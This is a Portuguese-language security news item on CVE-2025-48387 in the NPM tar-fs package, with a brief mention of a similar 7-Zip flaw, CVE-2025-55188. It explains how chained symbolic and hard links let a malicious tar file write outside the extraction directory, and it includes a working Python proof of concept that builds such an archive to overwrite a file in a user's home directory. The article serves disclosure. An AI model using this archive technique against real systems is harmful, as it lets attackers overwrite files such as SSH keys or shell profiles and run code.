Uma vulnerabilidade (CVE-2025-48387) foi identificada no pacote NPM tar-fs, permitindo que, ao descompactar um arquivo tar malicioso, arquivos possam ser gravados em qualquer parte do sistema de arquivos, sem limitações ao diretório de descompactação (dependendo das permissões do usuário atual). A vulnerabilidade também pode ser explorada para sobrescrever arquivos existentes, como, por exemplo, arquivos ‘.ssh/id_rsa’ ou ‘.bashrc’ no diretório home do usuário, permitindo a execução de código malicioso no sistema.
A questão foi classificada como crítica, considerando que o pacote tar-fs tem 23 milhões de downloads por semana e é utilizado como dependência em 1155 projetos. A vulnerabilidade foi corrigida nas versões 3.0.9, 2.1.3 e 1.16.5, lançadas em maio, mas a informação sobre a vulnerabilidade foi divulgada apenas quase 3 meses depois.
A vulnerabilidade é causada pela falta de verificações adequadas dos links simbólicos e duros existentes no arquivo, para garantir que não saiam do diretório de destino durante a descompactação. Para contornar as verificações, são utilizadas duas links simbólicos: o primeiro aponta para o diretório raiz de descompactação do arquivo (‘.’), enquanto o segundo é criado em relação ao primeiro link simbólico e usa os caracteres ‘../’ no nome para sair do diretório base. Por exemplo, o primeiro link ‘noop/noop/noop’ aponta para ‘.’, enquanto o segundo ‘noop/noop/noop/../../../../..’ resolve como ‘./../../../../..’. Para permitir a sobrescrição de arquivos no arquivo, pode ser criado um link duro que referencia um arquivo externo em relação ao segundo link simbólico. import tarfile import io with tarfile.open('poc.tar', mode='x') as tar: root = tarfile.TarInfo('root') root.linkname = ('noop/' * 15) + ('../' * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo('noop') noop.linkname = '.' noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo('hardflag') hard.linkname = 'root/home/username/flag/flag' hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b'overwrite\n' overwrite = tarfile.TarInfo('hardflag') overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b'new!\n' newfile = tarfile.TarInfo('root/home/username/flag/newfile') newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Uma vulnerabilidade semelhante (CVE-2025-55188) foi identificada no compactador 7-Zip. Para gravar arquivos fora do diretório base no 7-Zip, também podem ser utilizadas links simbólicos com a sequência «..\/» no caminho do arquivo. O problema pode ser explorado ao descompactar qualquer arquivo que suporte links simbólicos usando o 7-Zip, como zip, tar, 7z e rar. O problema foi resolvido na versão 7-Zip 25.01.
Fonte: opennet.ru
